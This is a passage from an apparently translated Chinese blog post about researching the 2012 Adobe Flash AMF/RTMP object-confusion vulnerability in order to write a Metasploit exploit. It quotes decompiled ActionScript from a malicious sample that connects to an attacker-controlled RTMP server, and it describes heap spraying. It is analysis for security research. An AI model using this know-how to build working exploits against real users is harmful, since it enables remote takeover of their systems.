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上个月爆了一个Adobe Flash的漏洞,影响Windows, Macintosh和Linux平台下的Adobe Flash Player 11.2.202.233和之前版本,Android 4.x下Adobe Flash Player 11.1.115.7及之前版本,Android 3.x和2.x下的Adobe Flash Player 11.1.111.8及之前版本存在一个对象混淆引起的严重漏洞。这个漏洞可导致应用程序崩溃或可能允许攻击者完全控制受影响系统。 根据报告,此漏洞目前在网络上已经积极被利用,通过诱使用户点击嵌入到Email消息中的以文件来触发。利用的程序目标针对windows平台上的Flash Player。 今天我们来研究一下如何在Metasploit中编写该漏洞的EXP。 最初我们发现了这个漏洞的样本,并开始分SWF(Shockwave文件),我们发现该漏洞利用SWF堆喷射技术使攻击者可以操纵应用程序的内存分配,可以控制内存特定的区域,然后可以执行任意shellcode。但是我们并没有在实际环境中触发该漏洞。经过更多的测试之后,我们认为该漏洞很有可能是由于在RTMP传递数据的时候处理 AMF (Action Message Format)发生的问题。 复制代码 代码如下:public function v42(_arg1:String):void{ // The NetConnection class creates a two-way connection // between a client and a server. The client can be a Flash // Player or AIR application. The server can be a web server, //Flash Media Server, an application server running Flash Remoting, or the Adobe Stratus service this.v15 = new NetConnection(); var _local2 = "rtmp://"; var _local3 = "/TSGeneralSetting"; var _local4:String = ((_local2 + _arg1) + _local3); // Creates a two-way connection to an application on Flash Media Server or to Flash Remoting, or creates a two-way // network endpoint for RTMFP peer-to-peer group communication this.v15.connect(_local4); // Calls a command or method on Flash Media Server or on an application server running Flash Remoting this.v15.call("systemMemoryCall", this.v16, "argc"); } 我们建立了一个自己的Flash Media Server来检测数据传输时的信息。如下图: 第一个猜测是在systemMemoryCall()的响应解析时可能会触发漏洞,但是我们的RTMP服务器没有识别到该函数的调用,而且返回了一个AMF的错误信息。进一步测试我们捕获受感染机器与RTMP服务器之间的RTMP通信,如下图: 恶意RTMP服务器响应的“_error”信息如下,看起来如下: | Field Name | Type | Description Command Name |
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